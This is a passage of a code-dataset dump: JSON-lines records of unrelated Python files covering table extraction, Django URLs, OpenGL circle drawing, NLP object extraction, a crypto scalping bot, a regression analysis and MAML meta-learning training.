extract_table(file):\n global names_str\n names_str = open('names.txt', encoding='utf-8').read()\n try:\n res = dict()\n name = os.path.basename(file)\n name, _ = os.path.splitext(name)\n index = [i.start() for i in re.finditer('-', name)]\n code = name[:index[0]]\n company = name[index[0] + 1:index[1]]\n res[name] = dict()\n res[name]['证券代码'] = code\n res[name]['证券简称'] = company\n res[name]['现金流量表(母公司)'] = {'单位': '', '项目': []}\n res[name]['现金流量表(合并)'] = {'单位': '', '项目': []}\n res[name]['利润表(母公司)'] = {'单位': '', '项目': []}\n res[name]['利润表(合并)'] = {'单位': '', '项目': []}\n res[name]['资产负债表(母公司)'] = {'单位': '', '项目': []}\n res[name]['资产负债表(合并)'] = {'单位': '', '项目': []}\n\n soup = BeautifulSoup(open(file, encoding='utf-8'), \"lxml\")\n\n tables = soup.find_all('table')\n i = 0\n index = -1\n while i < len(tables):\n head = tables[i].tr\n info = start(head)\n\n if info:\n index += 1\n unit, table_name = info\n res[name][table_name]['单位'] = unit\n tails = get_flags(table_name)\n table = extract(tables[i], start=1)\n\n i += 1\n while i < len(tables):\n if table != []:\n attribute = table[-1][\"名称\"]\n head = tables[i].tr\n if end(attribute, tails, head):\n res[name][table_name]['项目'] = table\n break\n tmp = extract(tables[i], start=0)\n table.extend(tmp)\n i += 1\n\n continue\n\n i += 1\n return res\n\n except Exception as e:\n print(file,'task1',e)\n return res\n","repo_name":"houking-can/CCKS2019-Task5","sub_path":"sub_task1.py","file_name":"sub_task1.py","file_ext":"py","file_size_in_byte":7127,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"62"} +{"seq_id":"40525077592","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('home/', views.ListFavorite.as_view(), name='movie-planet-favorite-list'),\n path('planets/', views.PlanetList.as_view(), name='planet-list'),\n path('movies/', views.MovieList.as_view(), name='movie-list'),\n path('movies/custom-title/', views.MovieAddCustomTitle.as_view(), name='movie-custom-title'),\n path('movies/favorite/', views.MovieAddFavorite.as_view(), name='movie-favorite'),\n path('planets/custom-name/', views.PlanetAddCustomName.as_view(), name='planet-custom-name'),\n path('planets/favorite/', views.PlanetAddFavorite.as_view(), name='planet-favorite')\n] ","repo_name":"aru233/star-wars-favorite-app","sub_path":"swFavorites/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7606977308","text":"from OpenGL.GL import *\r\nfrom OpenGL.GLUT import *\r\nfrom OpenGL.GLU import *\r\n\r\n\r\ndef drawPoint(x, y):\r\n glBegin(GL_POINTS)\r\n glVertex2f(x, y)\r\n glEnd()\r\n\r\n\r\ndef circlePoints(x, y, x_centre, y_centre):\r\n zone_change(x, y, x_centre, y_centre)\r\n\r\n\r\ndef zone_change(x, y, x_centre, y_centre):\r\n new_x = x + x_centre\r\n new_y = y + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = y + x_centre\r\n new_y = x + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = -1 * y + x_centre\r\n new_y = x + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = -1 * x + x_centre\r\n new_y = y + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = -1 * x + x_centre\r\n new_y = -1 * y + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = -1 * y + x_centre\r\n new_y = -1 * x + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = y + x_centre\r\n new_y = -1 * x + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\n new_x = x + x_centre\r\n new_y = -1 * y + y_centre\r\n drawPoint(new_x, new_y)\r\n\r\n\r\ndef midPointCircle(x_centre, y_centre, r):\r\n d = 1 - r\r\n x = 0\r\n y = r\r\n circlePoints(x, y, x_centre, y_centre)\r\n while x < y:\r\n if d < 0:\r\n\r\n d = d + 2 * x + 3\r\n x = x + 1\r\n else:\r\n\r\n d = d + 2 * x - 2 * y + 5\r\n x = x + 1\r\n y = y - 1\r\n\r\n circlePoints(x, y, x_centre, y_centre)\r\n\r\n\r\ndef drawCircle():\r\n midPointCircle(300, 100, 30)\r\n midPointCircle(300, 150, 30)\r\n midPointCircle(300, 200, 30)\r\n midPointCircle(300, 250, 30)\r\n midPointCircle(300, 300, 30)\r\n midPointCircle(300, 350, 30)\r\n midPointCircle(300, 400, 30)\r\n midPointCircle(300, 450, 30)\r\n midPointCircle(300, 500, 30)\r\n\r\n midPointCircle(260, 480, 30)\r\n midPointCircle(220, 450, 30)\r\n midPointCircle(180, 415, 30)\r\n midPointCircle(150, 385, 30)\r\n midPointCircle(110, 350, 30)\r\n\r\n midPointCircle(200, 100, 30)\r\n midPointCircle(250, 100, 30)\r\n midPointCircle(300, 100, 30)\r\n midPointCircle(350, 100, 30)\r\n midPointCircle(400, 100, 30)\r\n\r\n\r\ndef iterate():\r\n glViewport(0, 0, 600, 600)\r\n glMatrixMode(GL_PROJECTION)\r\n glLoadIdentity()\r\n glOrtho(0.0, 600, 0.0, 600, 0.0, 1.0)\r\n glMatrixMode(GL_MODELVIEW)\r\n glLoadIdentity()\r\n\r\n\r\ndef showScreen():\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n glLoadIdentity()\r\n iterate()\r\n glColor3f(1.0, 1.0, 1.0)\r\n\r\n drawCircle()\r\n glutSwapBuffers()\r\n\r\n\r\nglutInit()\r\nglutInitDisplayMode(GLUT_RGBA)\r\nglutInitWindowSize(600, 600)\r\nglutInitWindowPosition(0, 0)\r\nwind = glutCreateWindow(b\"Id-19101331 print 1\")\r\nglutDisplayFunc(showScreen)\r\nglutIdleFunc(showScreen)\r\nglutMainLoop()\r\n","repo_name":"saleheen22/CSE423_Computer_Graphics_Labs","sub_path":"Lab 03/02_19101331.py","file_name":"02_19101331.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42336281562","text":"import numpy as np\nimport os\nimport imageio\nfrom shutil import copy\nfrom subprocess import check_output\nfrom utils import *\n\ndef get_bbox(poses,hwf,near=0.0,far=1.0): #this is done for all posed images at once\n height,width,focal_length=hwf\n height,width=int(height),int(width)\n\n min_bound=[200,200,200]\n max_bound=[-200,-200,-200]\n\n points=[]\n poses=torch.FloatTensor(poses)\n for pose in poses:\n ray_origin,ray_direction=get_image_rays(height,width,focal_length,pose)\n ray_origin=ray_origin.view(-1,3)\n ray_direction=ray_direction.view(-1,3)\n ray_direction=ray_direction/ray_direction.norm(p=2,dim=-1).unsqueeze(-1)\n\n ro,rd=ndc_rays(height,width,focal_length,1.0,ray_origin,ray_direction)\n\n def min_max(pt):\n for i in range(3):\n if(min_bound[i]>pt[i]):\n min_bound[i]=pt[i]\n if(max_bound[i]`\n\n Rules:\n\n 1. The first noun encountered is always the *person*\n 2. The second noun (if included) is always the *place*\n\n Objects:\n\n 1. *person* - The person who will be followed\n 2. *place* - The location that the person will be followed to\n\n Args:\n sent (list): A part of speech tagged list of tokens representing a sentence\n\n Returns:\n dict: An :ref:`object dictionary ` for the command\n \"\"\"\n\n object_dict = {}\n for token in sent:\n if is_noun(token[1]):\n # The current length of object_dict shows how many other nouns have been extracted from the sentence\n if len(object_dict) == 0:\n object_dict[\"person\"] = token[0].lower()\n elif len(object_dict) == 1:\n object_dict[\"place\"] = token[0].lower()\n\n return object_dict\n\ndef object_dict_turn(sent):\n \"\"\"\n Extracts objects out of a sentence that contains *turn* as its :ref:`action `.\n\n Currently uses the same rules as :meth:`~interpreter.extractor.object_dict_move`\n\n Args:\n sent (list): A part of speech tagged list of tokens representing a sentence\n\n Returns:\n dict: An :ref:`object dictionary ` for the command\n \"\"\"\n\n return object_dict_move(sent)\n\ndef object_dict_stop(sent):\n \"\"\"\n Extracts objects out of a sentence that contains *stop* as its :ref:`action `\n\n Currently returns an empty dictionary.\n\n Args:\n sent (list): A part of speech tagged list of tokens representing a sentence\n\n Returns:\n dict: An :ref:`object dictionary ` for the command - currently returns an empty dictionary under all inputs\n \"\"\"\n return {}\n\ndef object_dict_move(sent):\n \"\"\"\n Extracts objects out of a sentence that contains *move* as its :ref:`action `\n\n Rules:\n\n 1. Only the first noun is detected as an object\n 2. If the first noun is preced by a preposition, then it is the *place*\n 3. If the first noun is not preceded by a preposition, then it is the *direction*\n\n Objects:\n\n 1. *place* - A location to move to\n 2. *direction* - A direction to move in\n\n Args:\n sent (list): A part of speech tagged list of tokens representing a sentence\n\n Returns:\n dict: An :ref:`object dictionary ` for the command\n \"\"\"\n\n object_dict = {}\n prep_found = False\n\n for token in sent:\n # The directional words tend to be tagged as one of these four parts of speech\n if (token[1] == \"VBD\" or token[1] == \"NN\" or token[1] == \"IN\" or token[1] == \"RB\") and (is_direction(token[0])):\n object_dict[\"direction\"] = token[0].lower()\n elif is_noun(token[1]):\n object_dict[\"place\"] = token[0].lower()\n\n return object_dict\n\ndef object_dict_talk(sent):\n \"\"\"\n Extracts objects out of a sentence that contains *talk* as its :ref:`action `\n\n Rules:\n\n 1. The noun to come after the word *about* is the *topic*\n 2. The noun to come after any preposition that is not *about* is the *person*\n 3. Other nouns will be tagged as *unknown*\n\n Objects:\n\n 1. *person* - The person to talk to\n 2. *topic* - The subject to talk about\n 3. *unknown* - The role of this noun is not known\n\n Args:\n sent (list): A part of speech tagged list of tokens representing a sentence\n\n Returns:\n dict: An :ref:`object dictionary ` for the command\n \"\"\"\n\n object_dict = {}\n prep_found = False\n about_found = False\n\n for token in sent:\n\n if token[0].lower() != \"about\" and is_preposition(token[1]):\n prep_found = True\n elif token[0].lower() == \"about\":\n about_found = True\n\n if is_noun(token[1]):\n if prep_found and not about_found:\n object_dict[\"person\"] = token[0].lower()\n prep_found = False\n elif about_found and not prep_found:\n object_dict[\"topic\"] = token[0].lower()\n about_found = False\n else:\n obj_tag = \"unknown\"\n object_dict[\"unknown\"] = token[0].lower()\n\n return object_dict\n\ndef object_dict_show(sent):\n \"\"\"\n Extracts objects out of a sentence that contains *show* as its :ref:`action `\n\n Rules:\n\n 1. The verb preceded by a *to* is the *shown_action*\n 2. The noun that is not preceded by a determiner or *to* is the *person*\n 3. The noun that is preceded either by a determiner or the *shown_action* is the *object*\n\n Objects:\n\n 1. *shown_action* - The action that will be shown in a video\n 2. *person* - The person who will be shown the action or object\n 3. *object* - The object that is acted on in the video or a static object to be shown as a picture\n 4. *video_title* - The title of the video to be played; it is currently generated by concatentating the *shown_action* with the *object*\n\n Args:\n sent (list): A part of speech tagged list of tokens representing a sentence\n\n Returns:\n dict: An :ref:`object dictionary ` for the command\n \"\"\"\n\n object_dict = {}\n prec_found = False\n to_found = False\n\n for token in sent:\n if token[1] == \"TO\":\n to_found = True\n elif token[1] == \"DT\":\n prec_found = True\n elif is_noun(token[1]):\n if prec_found:\n object_dict[\"object\"] = token[0].lower()\n else:\n object_dict[\"person\"] = token[0].lower()\n elif token[1] == \"VB\":\n if to_found:\n object_dict[\"show_action\"] = token[0].lower()\n prec_found = True\n\n # Create the stemmer to get root words if needed\n stemmer = SnowballStemmer(\"english\")\n if \"object\" in object_dict:\n search_res = binary_search_shown_words(object_dict[\"object\"], known_shown_objects)\n if search_res > -1:\n object_dict[\"object\"] = first_shown_objects[search_res]\n else:\n # If the object word wasn't found, try looking for its stem\n stem = stemmer.stem(object_dict[\"object\"])\n search_res = binary_search_shown_words(stem, known_shown_objects)\n if search_res > -1:\n object_dict[\"object\"] = first_shown_objects[search_res]\n\n\n if \"show_action\" in object_dict:\n\n search_res = binary_search_shown_words(object_dict[\"show_action\"], known_shown_actions)\n if search_res > -1:\n object_dict[\"show_action\"] = first_shown_actions[search_res]\n else:\n # If the show action word wasn't found, try looking for its stem\n stem = stemmer.stem(object_dict[\"show_action\"])\n search_res = binary_search_shown_words(stem, known_shown_actions)\n if search_res > -1:\n object_dict[\"show_action\"] = first_shown_actions[search_res]\n\n video_title = object_dict[\"show_action\"]\n if \"object\" in object_dict:\n video_title = video_title + \"-\" + object_dict[\"object\"]\n object_dict[\"video_title\"] = video_title.lower()\n\n return object_dict\n\ndef object_dict_start(sent):\n \"\"\"\n Specially crafted to start up story mode. Only extracts the first noun encountered as the object the start.\n \"\"\"\n object_dict = {}\n\n for token in sent:\n if is_noun(token[1]) and not \"object\" in object_dict:\n object_dict[\"object\"] = token[0]\n\n return object_dict\n\ndef build_shown_words(filename):\n # Initializing data structures\n known_words = []\n first_words = []\n line_num = 0\n\n # Start reading input file of known actions\n inp_file = open(filename, \"rb\")\n for line in inp_file:\n line = line.strip().lower()\n # Checks to make sure the line isn't an empty string after trimming whitespace\n # Blank lines are ignored completely\n if line:\n words = line.split(\",\")\n # Checks to make sure there is at least one action, avoid exception\n if len(words) > 0:\n try:\n first_words.append(words[0])\n for word in words:\n word = word.strip()\n # Add each known action and its action set index to the list to be returned\n known_words.append((word, line_num))\n line_num += 1\n except AttributeError: # Occurs if getattr fails\n sys.stderr.write(\"Error: There is no object extraction function called \" + func_name + \"\\n\")\n except StandardError as err: # Catches any other error\n sys.stderr.write(str(err) + \"\\n\")\n\n # Sorts the list of known actions by A-Z alphabetical order\n known_words = sorted(known_words, key=lambda tup: tup[0])\n\n return (known_words, first_words)\n\ndef binary_search_shown_words(target, pool):\n\n # If the search pool has been exhausted, the target is not in the pool\n if (len(pool) == 0):\n return -1\n\n # Gets middle index of the remaining pool\n mid = len(pool)/2\n\n if target < pool[mid][0]: # Target must be in lower half of pool\n return binary_search_shown_words(target, pool[:mid])\n elif target > pool[mid][0]: # Target must be in higher half of pool\n return binary_search_shown_words(target, pool[mid+1:])\n else: # Match has been found\n return pool[mid][1]\n\nshown_actions_path = \"\"\nobjects_path = \"\"\nif \"lili-interpreter\" in os.listdir(\".\"): # If this is true, code is being run in LSSWinRobot repo\n shown_actions_path = \"lili-interpreter/\"\n objects_path = \"lili-interpreter/\"\nelif \"source\" in os.listdir(\".\"): # If this is true, code is being run by make in Sphinx documentation generator\n shown_actions_path = \"source/\"\n objects_path = \"source/\"\n\nshown_actions_path = shown_actions_path + \"input_files/known_words/known_shown_actions_small.txt\"\nobjects_path = objects_path + \"input_files/known_words/shown_objects_small.txt\"\n\n# Builds synonym lists that are utilized when resolving shown actions and objects to words that are already known by LILI\nshown_action_res = build_shown_words(shown_actions_path)\nshown_object_res = build_shown_words(objects_path)\n\nknown_shown_actions = sorted(shown_action_res[0], key=lambda tup: tup[0])\nfirst_shown_actions = shown_action_res[1]\n\nknown_shown_objects = sorted(shown_object_res[0], key=lambda tup: tup[0])\nfirst_shown_objects = shown_object_res[1]","repo_name":"bgottlob/lili-interpreter","sub_path":"interpreter/extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":12432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10633283869","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time\nfrom multiprocessing import Queue\nimport logging\nimport signal\n\nfrom coincheck import market\nfrom coincheck import order\nimport pybitflyer\n\nclass scalping:\n\t\"\"\" scalping class \"\"\"\n\n\tdef __init__(self, exch, apikey, apisec, outdir, loglv, poll_reqq, poll_rspq, stop_flag, q_get_tov):\n\t\t\"\"\" constructor\n\t\t\n\t\t - exch : exchange (\"coincheck\" or \"bitflyer\")\n\t\t - apikey : API key\n\t\t - apisec : API secret\n\t\t - outdir : output directory\n\t\t - loglv : log level\n\t\t - poll_reqq : request-to-polling queue\n\t\t - poll_rspq : response-from-polling queue\n\t\t - stop_flag : stop flag\n\t\t - q_get_tov : TOV getting from queue\n\t\t\"\"\"\n\n\t\tself.exch = exch\n\t\tself.apikey = apikey\n\t\tself.apisecret = apisec\n\t\tself.outdir = outdir\n\t\tself.q_get_tov = q_get_tov\n\t\t\n\t\t# set logger\n\t\ttry:\n\t\t\tself.logger = logging.getLogger(\"scalping\")\n\t\t\tself.logger.setLevel(loglv)\n\n\t\t\tif len(outdir) > 0:\n\t\t\t\toutfile = outdir + \"/scalping.log\"\n\t\t\telse:\n\t\t\t\toutfile = \"scalping.log\"\n\t\t\tfh = logging.FileHandler(outfile)\n\n\t\t\tself.logger.addHandler(fh)\n\t\t\tsh = logging.StreamHandler()\n\t\t\t# self.logger.addHandler(sh)\n\t\t\tformatter = logging.Formatter('%(asctime)s:%(levelname)s:%(name)s:%(message)s')\n\t\t\tfh.setFormatter(formatter)\n\t\t\tsh.setFormatter(formatter)\n\t\texcept:\n\t\t\traise\n\n\t\t# set exchange\n\t\tself.ccpublic = None\n\t\tself.ccprivate = None\n\t\tself.bfpublic = None\n\t\tself.bfprivate = None\n\t\tif self.exch == \"bitflyer\":\n\t\t\tself.bfpublic = pybitflyer.API()\n\t\t\tself.bfprivate = pybitflyer.API(api_key=self.apikey, api_secret=self.apisecret)\n\t\telif self.exch == \"coincheck\":\n\t\t\tself.ccpublic = market.Market()\n\t\t\tself.ccprivate = order.Order(access_key=self.apikey, secret_key=self.apisecret)\n\t\telse:\n\t\t\tself.logger.error(\"invalid exchange name\")\n\t\t\treturn\n\n\t\t# set request/response queue for polling object\n\t\tself.poll_reqq = poll_reqq\n\t\tself.poll_rspq = poll_rspq\n\n\t\t# set stop flag\n\t\tself.stop_flag = stop_flag\n\n\n\tdef getTicker(self):\n\t\t\"\"\" get ticker from polling object \"\"\"\n\n\t\tif self.poll_reqq is None or self.poll_rspq is None:\n\t\t\treturn\n\n\t\treq = {\"cmd\" : \"get ticker\"}\n\t\tself.poll_reqq.put(req)\n\t\tticker = self.poll_rspq.get(timeout=self.q_get_tov)\n\n\t\t#debug\n\t\t# self.logger.debug(\"ticker=%s\" % str(ticker))\n\n\t\treturn ticker\n\n\t\n\tdef getSMA30(self, ticker=None):\n\t\t\"\"\" get SMA using 30 entries from ticker \"\"\"\n\t\tif ticker is None:\n\t\t\tticker = self.getTicker()\n\n\t\tif ticker is not None:\n\t\t\treturn ticker[\"sma30\"]\n\t\telse:\n\t\t\treturn 0.0\n\n\n\tdef getSMA60(self, ticker=None):\n\t\t\"\"\" get SMA using 60 entries from ticker \"\"\"\n\t\tif ticker is None:\n\t\t\tticker = self.getTicker()\n\n\t\tif ticker is not None:\n\t\t\treturn ticker[\"sma60\"]\n\t\telse:\n\t\t\treturn 0.0\n\n\n\tdef getWMA30(self, ticker=None):\n\t\t\"\"\" get WMA using 30 entries from ticker \"\"\"\n\t\tif ticker is None:\n\t\t\tticker = self.getTicker()\n\n\t\tif ticker is not None:\n\t\t\treturn ticker[\"wma30\"]\n\t\telse:\n\t\t\treturn 0.0\n\n\n\tdef getWMA60(self, ticker=None):\n\t\t\"\"\" get WMA using 60 entries from ticker \"\"\"\n\t\tif ticker is None:\n\t\t\tticker = self.getTicker()\n\n\t\tif ticker is not None:\n\t\t\treturn ticker[\"wma60\"]\n\t\telse:\n\t\t\treturn 0.0\n\n\n\tdef getMidPrice(self, ticker=None):\n\t\t\"\"\" get mid price of ask and bid \"\"\"\n\t\tif ticker is None:\n\t\t\tticker = self.getTicker()\n\n\t\tif ticker is not None:\n\t\t\tminprice = min(ticker[\"best_ask\"], ticker[\"best_bid\"])\n\t\t\tdiffprice = abs(ticker[\"best_ask\"] - ticker[\"best_bid\"])\n\t\t\treturn (minprice + (diffprice / 4.0))\n\t\t\t# return ((ticker[\"best_ask\"] + ticker[\"best_bid\"]) / 2.0)\n\t\telse:\n\t\t\treturn 0.0\n\n\n\tdef isHealth(self):\n\t\t\"\"\" determine whether exchange status is normal or not \"\"\"\n\t\ttry:\n\t\t\tif self.ccpublic is not None:\n\t\t\t\t# since API is not supported, assume always normal\n\t\t\t\treturn True\n\t\t\telif self.bfpublic is not None:\n\t\t\t\tstatus = self.bfpublic.gethealth();\n\t\t\t\tif status['status'] != \"NORMAL\":\n\t\t\t\t\tself.logger.debug(\"server status = %s\" % status['status'])\n\t\t\t\t\treturn False\n\t\t\t\telse:\n\t\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn True\n\t\t\t\t\t\n\t\texcept JSONDecodeError:\n\t\t\t# communication error occurred\n\t\t\tself.logger.warning(\"could not get server status\")\n\t\t\treturn False\n\n\n\tdef entryLong(self, prod, price, size, expiredate):\n\t\t\"\"\" order limit buy\n\t\t\n\t\t - prod : product code (\"BTC_JPY\", \"ETH_BTC\", \"FX_BTC_JPY\")\n\t\t - price : buying price\n\t\t - size : amount of order\n\t\t - expiration : expiration date of order\n\t\t\"\"\"\n\n\t\tif self.bfprivate is not None:\n\t\t\ttry:\n\t\t\t\t\"\"\" kari for debug\n\t\t\t\tself.bfprivate.sendchildorder(product_code = prod,\n\t\t\t\t child_order_type = \"LIMIT\",\n\t\t\t\t side = \"BUY\",\n\t\t\t\t price = price,\n\t\t\t\t size = size,\n\t\t\t\t minute_to_expire = expiredate,\n\t\t\t\t time_in_force = \"GTC\")\n\t\t\t\t\"\"\"\n\t\t\t\treturn True\n\t\t\texcept pybitflyer.exception.AuthException as e:\n\t\t\t\tself.logger.error(str(e))\n\t\t\t\treturn False\n\t\t\texcept:\n\t\t\t\traise\n\t\telif self.ccprivate is not None:\n\t\t\t# NOP (TBD)\n\t\t\treturn True\n\n\n\tdef runscalp(self, prod=\"\", interval=1, size=0, expiredate=0):\n\t\t\"\"\" run scalping \n\t\t\n\t\t - prod : product code (\"BTC_JPY\", \"ETH_BTC\" or \"FX_BTC_JPY\")\n\t\t - interval : interval (unit=second)\n\t\t - size : amount of buy/sell\n\t\t - expiredate : expiration date of buy/sell order\n\t\t\"\"\"\n\n\t\t# ignore interrupt\n\t\tsignal.signal(signal.SIGINT, signal.SIG_IGN)\n\t\tsignal.signal(signal.SIGTERM, signal.SIG_IGN)\n\n\t\tmidprice = 0\n\t\tbefore_midprice = 0\n\t\t# pos = 0 # Long : 1, Short : -1, No position : 0\n\t\t\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\ttime.sleep(interval)\n\t\t\t\t# self.logger.debug(str(pos))\n\n\t\t\t\t# terminate if stop flag is set\n\t\t\t\tif self.stop_flag.is_set():\n\t\t\t\t\tself.logger.debug(\"terminate signal received, bye\")\n\t\t\t\t\tbreak\n\n\t\t\t\t# get medium price\n\t\t\t\tmidprice = self.getMidPrice()\n\t\t\t\t\n\t\t\t\t# get server status (bitFlyer ONLY because coincheck does not support this)\n\t\t\t\tif self.isHealth() == False:\n\t\t\t\t\tcontinue\n\n\t\t\t\t# 前回の観測点より価格が高く、ノーポジの時\n\t\t\t\tif midprice - before_midprice > 0:\n\t\t\t\t\tself.logger.info(\"Entry Long, midprice=%.1f, side=Long\" % midprice)\n\t\t\t\t\tif self.entryLong(prod, midprice, size, expiredate) is False:\n\t\t\t\t\t\tself.logger.error(\"could not get position\")\n\n\t\t\t\t# 前回の観測点よりも価格が低い場合はスルー\n\t\t\t\tif before_midprice - midprice > 0:\n\t\t\t\t\tself.logger.debug(\"Time to Short. Do nothing, midprice=%.1f, side=Short\" % midprice)\n\n\t\t\t\tbefore_midprice = midprice\n\n\t\t\texcept KeyboardInterrupt:\n\t\t\t\tbreak\n\n","repo_name":"mayabaha/vcts","sub_path":"scalping.py","file_name":"scalping.py","file_ext":"py","file_size_in_byte":6464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71816289476","text":"import fiona\nimport pandas as pd\nimport statsmodels.api as sm\nimport matplotlib.pyplot as plt\n\n\nwith fiona.drivers():\n with fiona.open('brooklyn-demos.shp') as source:\n props = [s['properties'] for s in source]\n\n\n# filter out missing data\ndf = pd.DataFrame.from_records(props)\n\nfeatures = df[['percent_va', 'p_black', 'median_inc']].dropna()\n\nplt.scatter(features['p_black'], features['percent_va'],)\nplt.savefig('out.png')\n\nprint(features.describe())\n\nmodel = sm.OLS(features['percent_va'], features[['p_black']])\nprint(model.fit().summary())\n\nmodel = sm.OLS(features['percent_va'], features[['p_black', 'median_inc']]).fit()\nprint(model.summary())\n\nfig = plt.figure(figsize=(12,8))\nfig = sm.graphics.plot_regress_exog(model, \"p_black\", fig=fig)\nfig.savefig('p_black.png')\n\nmodel = sm.OLS(features['percent_va'], features[['median_inc']])\nprint(model.fit().summary())\n","repo_name":"thejefflarson/columbia","sub_path":"class-four/regress.py","file_name":"regress.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"14938773965","text":"import sys\r\nsys.setrecursionlimit(10**6)\r\n\r\nN = int(input())\r\nino = list(map(int,input().split()))\r\nposto = list(map(int,input().split()))\r\n\r\nanswer = []\r\n\r\nindex = [0] * (N+1)\r\nfor i in range(N):\r\n index[ino[i]] = i\r\n\r\nanswer = []\r\n\r\ndef preo(i_start, i_end, p_start, p_end):\r\n if(i_start > i_end):\r\n return\r\n \r\n root = posto[p_end]\r\n answer.append(root)\r\n \r\n idx = index[root]\r\n left = idx-i_start\r\n right = i_end-idx\r\n \r\n preo(i_start, i_start+left-1, p_start, p_start+left-1)\r\n preo(i_end-right+1, i_end, p_end-right,p_end-1)\r\n\r\npreo(0,N-1,0,N-1)\r\nprint(*answer)\r\n ","repo_name":"soonyoung-hwang/Algorithm","sub_path":"백준/Gold/2263. 트리의 순회/트리의 순회.py","file_name":"트리의 순회.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2805534437","text":"import torch, os\nimport numpy as np\nimport scipy.stats\nfrom torch.utils.data import DataLoader\nfrom torch.optim import lr_scheduler\nimport random, sys, pickle\nimport argparse\n\nfrom dataset.miniimagenet import MiniImagenet\nfrom maml import MAML\n\nimport wandb\nfrom tqdm import tqdm\nimport torch.distributed as dist\n\ndef distributedGPU(dataset, model, local_rank=0, world_size=0):\n \n\n # Set the rank for each processes\n if local_rank == 0:\n local_rank = int(os.environ[\"LOCAL_RANK\"])\n\n # (Option) Assign GPUs - it is more encouraged to use `CUDA_VISIBLE_DEVICES` environment variable\n torch.cuda.set_device(local_rank)\n\n # Get the total number of GPUs to be used - used for distributing data\n if world_size == 0:\n world_size = torch.distributed.get_world_size() \n\n # Split the data with respect to the world_size (total number of GPUs)\n # Each GPU will be assign divided portion of dataset -> Q, Then does each GPU will get the same training indices?\n # If the dataset is not evenly divisible by the world_size, then you can drop the remainder by setting `drop_last=True`, which is default\n # Otherwise, `drop_last=False` will get extra portions of data by generating similar batch_sized data\n dataset = torch.utils.data.DistributedSampler(dataset, num_replicas=world_size, rank=local_rank, drop_last=False)\n model = torch.nn.parallel.DistributedDataParallel(model,\n device_ids=[local_rank],\n output_device=local_rank)\n \n return dataset, model\n\n\ndef mean_confidence_interval(accs, confidence=0.95):\n n = accs.shape[0]\n m, se = np.mean(accs), scipy.stats.sem(accs)\n h = se * scipy.stats.t._ppf((1 + confidence) / 2, n - 1)\n return m, h\n\n\ndef main():\n # Initialize Process Groups\n # dist.init_process_group(backend='nccl')\n wandb.init()\n # wandb.init(project=\"project-name\", reinit=True)\n wandb.run.name = wandb.run.id\n torch.manual_seed(222)\n torch.cuda.manual_seed_all(222)\n np.random.seed(222)\n\n print(args)\n wandb.config.update(args)\n config = [\n ('conv2d', [32, 3, 3, 3, 1, 0]),\n ('relu', [True]),\n ('bn', [32]),\n ('max_pool2d', [2, 2, 0]),\n ('conv2d', [32, 32, 3, 3, 1, 0]),\n ('relu', [True]),\n ('bn', [32]),\n ('max_pool2d', [2, 2, 0]),\n ('conv2d', [32, 32, 3, 3, 1, 0]),\n ('relu', [True]),\n ('bn', [32]),\n ('max_pool2d', [2, 2, 0]),\n ('conv2d', [32, 32, 3, 3, 1, 0]),\n ('relu', [True]),\n ('bn', [32]),\n ('max_pool2d', [2, 1, 0]),\n ('flatten', []),\n ('linear', [args.n_way, 32 * 5 * 5])\n ]\n\n # local_rank = int(os.environ[\"LOCAL_RANK\"])\n\n # (Option) Assign GPUs - it is more encouraged to use `CUDA_VISIBLE_DEVICES` environment variable\n # torch.cuda.set_device(local_rank)\n\n device = torch.device('cuda')\n # device = torch.device(local_rank)\n\n maml = MAML(args, config).to(device)\n model = torch.nn.DataParallel(maml,\n device_ids=[0,1],\n output_device=0)\n wandb.watch(maml)\n\n tmp = filter(lambda x: x.requires_grad, maml.parameters())\n num = sum(map(lambda x: np.prod(x.shape), tmp))\n print(maml)\n print('Total trainable tensors:', num)\n\n # batchsz here means total episode number\n mini = MiniImagenet('/solee/miniImagenet/', mode='train', n_way=args.n_way, k_shot=args.k_spt,\n k_query=args.k_qry,\n batch_size=10000)\n mini_test = MiniImagenet('/solee/miniImagenet/', mode='test', n_way=args.n_way, k_shot=args.k_spt,\n k_query=args.k_qry,\n batch_size=100)\n # mini, maml = distributedGPU(mini, maml)\n # mini_test, maml = distributedGPU(mini_test, maml)\n\n\n for epoch in range(args.epoch//10000):\n # fetch meta_batchsz num of episode each time\n db = DataLoader(mini, batch_size=4, shuffle=True, num_workers=8, pin_memory=True)\n\n for step, (x_spt, y_spt, x_qry, y_qry) in enumerate(tqdm(db)):\n\n x_spt, y_spt, x_qry, y_qry = x_spt.to(device), y_spt.to(device), x_qry.to(device), y_qry.to(device)\n\n accs = maml(x_spt, y_spt, x_qry, y_qry)\n metrics = {\"train/train_acc\": accs, \n \"train/train_acc_mean\": accs.mean(axis=0), \n \"train/epoch\": (step + 1 + (len(db) * epoch)) / len(db)}\n\n if step % 30 == 0:\n # print('step:', step, '\\ttraining acc:', accs)\n wandb.log(metrics)\n\n if step % 500 == 0: # evaluation\n db_test = 